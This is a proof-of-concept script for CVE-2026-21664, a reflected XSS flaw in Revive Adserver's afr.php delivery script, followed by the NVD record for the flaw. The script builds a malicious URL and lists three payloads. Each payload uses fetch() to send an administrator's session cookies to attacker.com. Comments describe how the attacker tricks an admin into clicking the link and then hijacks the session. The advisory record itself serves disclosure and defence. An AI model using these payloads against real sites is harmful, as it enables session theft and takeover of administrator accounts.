CVE-2026-21664

// CVE-2026-21664 Reflected XSS PoC for Revive Adserver afr.php // Target: Revive Adserver afr.php delivery script // Payload: Reflected XSS via URL parameter const http = require('http'); // XSS payload - steals admin cookies const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Construct malicious URL const targetHost = 'vulnerable-server.com'; const targetPath = '/afr.php'; const maliciousUrl = `http://${targetHost}${targetPath}?what=${encodeURIComponent(xssPayload)}`; console.log('[+] CVE-2026-21664 Reflected XSS PoC'); console.log('[+] Target:', targetHost); console.log('[+] Malicious URL:', maliciousUrl); console.log('[+] Payload:', xssPayload); // Alternative payload variants const payloads = [ xssPayload, '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>' ]; console.log('\n[+] Alternative payloads:'); payloads.forEach((p, i) => console.log(` ${i+1}. ${p}`)); // Attack scenario: // 1. Attacker crafts URL with XSS payload // 2. Attacker tricks logged-in admin to click the link // 3. Malicious script executes in admin's browser // 4. Attacker steals session cookies // 5. Attacker hijacks admin session

{"cve": {"id": "CVE-2026-21664", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:07.223", "lastModified": "2026-02-03T21:04:36.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HackerOne community member Huynh Pham Thanh Luc (nigh7c0r3) has reported a reflected XSS vulnerability in the afr.php delivery script of Revive Adserver. An attacker can craft a specific URL that includes an HTML payload in a parameter. If a logged in administrator visits the URL, the HTML is sent to the browser and malicious scripts would be executed."}, {"lang": "es", "value": "El miembro de la comunidad de HackerOne Huynh Pham Thanh Luc (nigh7c0r3) ha informado de una vulnerabilidad de XSS reflejado en el script de entrega afr.php de Revive Adserver. Un atacante puede crear una URL específica que incluye una carga útil HTML en un parámetro. Si un administrador con sesión iniciada visita la URL, el HTML es enviado al navegador y se ejecutarían scripts maliciosos."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aquaplatform:revive_adserver:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.4", "matchCriteriaId": "2AA08D1C-3638-4E0D-AC58-A8527E77536F"}]}]}], "references": [{"url": "https://hackerone.com/reports/3468169", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}